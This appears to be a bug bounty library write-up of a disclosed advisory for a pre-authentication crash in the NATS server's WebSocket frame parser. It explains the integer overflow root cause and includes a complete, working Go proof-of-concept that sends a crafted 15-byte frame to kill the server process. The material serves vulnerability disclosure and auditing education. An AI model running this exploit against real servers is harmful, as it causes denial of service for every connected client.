# NATS: Pre-auth remote server crash via WebSocket frame length overflow in wsRead

NATS server casts WebSocket 64-bit frame length to int without MSB check, yielding negative r.rem that bypasses bounds clamp and panics pre-auth.

- Payout: Research
- Severity: high
- Program: NATS server
- Found by: Mistz1, jiayuqi7813
- Disclosed: 2026-03-25
- CVE: CVE-2026-27889
- Write-up quality: 8/10
- Original: https://github.com/advisories/GHSA-pq2q-rcw4-3hr6
- Library page: http://bugbountylibrary.com/r/ghsa%3AGHSA-pq2q-rcw4-3hr6
- Tags: area:devices domain:network impact:dos kind:research platform:ghsa sev:high tech:go tech:websocket technique:source-review vuln:dos vuln:memory-corruption

**Target:** WebSocket listener in nats-server (server/websocket.go wsRead)
**Root cause:** wsRead casts the raw uint64 extended payload length to int without validating RFC 6455's MSB-must-be-zero rule; a negative r.rem makes the pos+n bounds clamp wrap negative and never fire, so the slice expression panics.
**Steps:**
1. Configure nats-server with a websocket listener (no_tls) and start it.
2. Open TCP, send HTTP Upgrade with `Sec-WebSocket-Protocol: nats`, confirm 101.
3. Send 15-byte frame: `82 ff` + 8-byte length `0x8000000000000001` + mask key `deadbeef` + 1 payload byte `41`.
4. Server panics at websocket.go:311 with slice bounds out of range; process exits.
**How found:** Code review of wsRead against RFC 6455 §5.2: noticed the direct uint64→int cast with no MSB validation, reasoned that Go's silent two's-complement wrap makes r.rem negative, then traced the pos+n clamp to show the wrap defeats it; realized the 14-byte header exactly fills the buffer, requiring one extra byte to re-enter the payload loop.
**Exploitation:** Single unauthenticated TCP connection: complete the WebSocket upgrade, then send one 15-byte frame with MSB set in the 64-bit length. The 14-byte header fills the read buffer so the payload loop is skipped and poisoned r.rem persists; the extra payload byte re-enters the loop and hits the panicking slice. No recover() in startGoRoutine/readLoop, so the panic kills the whole process, disconnecting all clients.
**Insight:** When auditing length-prefixed protocol parsers, check whether the clamp arithmetic itself can overflow: a negative length added to a position wraps and silently passes `> max` checks. Also check buffer-fill boundaries — a header that exactly fills the read buffer defers the poisoned state to the next read, so PoCs need one extra byte.

## Proof of concept (copied exactly from the original report)

**Go exploit sending malicious WebSocket frame**

```
func main() {
	target := "127.0.0.1:9222"
	if len(os.Args) > 1 {
		target = os.Args[1]
	}

	fmt.Printf("[*] Connecting to %s...\n", target)
	conn, err := net.DialTimeout("tcp", target, 5*time.Second)
	if err != nil {
		fmt.Printf("[-] Connection failed: %v\n", err)
		os.Exit(1)
	}
	defer conn.Close()

	// WebSocket upgrade
	req, _ := http.NewRequest("GET", "http://"+target, nil)
	req.Header.Set("Upgrade", "websocket")
	req.Header.Set("Connection", "Upgrade")
	req.Header.Set("Sec-WebSocket-Key", "dGhlIHNhbXBsZSBub25jZQ==")
	req.Header.Set("Sec-WebSocket-Version", "13")
	req.Header.Set("Sec-WebSocket-Protocol", "nats")
	req.Write(conn)

	conn.SetReadDeadline(time.Now().Add(5 * time.Second))
	resp, err := http.ReadResponse(bufio.NewReader(conn), req)
	if err != nil || resp.StatusCode != 101 {
		fmt.Printf("[-] Upgrade failed\n")
		os.Exit(1)
	}
	fmt.Println("[+] WebSocket established")
	conn.SetReadDeadline(time.Time{})

	// Malicious frame: FIN+Binary, MASK+127, 8-byte length with MSB set, mask key, 1 payload byte
	frame := make([]byte, 15)
	frame[0] = 0x82                                             // FIN + Binary
	frame[1] = 0xFF                                             // MASK + 127 (64-bit length)
	binary.BigEndian.PutUint64(frame[2:10], 0x8000000000000001) // MSB set
	frame[10] = 0xDE                                            // Mask key
	frame[11] = 0xAD
	frame[12] = 0xBE
	frame[13] = 0xEF
	frame[14] = 0x41                                            // 1 payload byte

	fmt.Printf("[*] Sending: %x\n", frame)
	conn.Write(frame)

	time.Sleep(2 * time.Second)

	// Verify crash
	conn2, err := net.DialTimeout("tcp", target, 3*time.Second)
	if err != nil {
		fmt.Println("[!!!] SERVER IS DOWN — full process crash confirmed")
		os.Exit(0)
	}
	conn2.Close()
	fmt.Println("[-] Server still running")
}
```

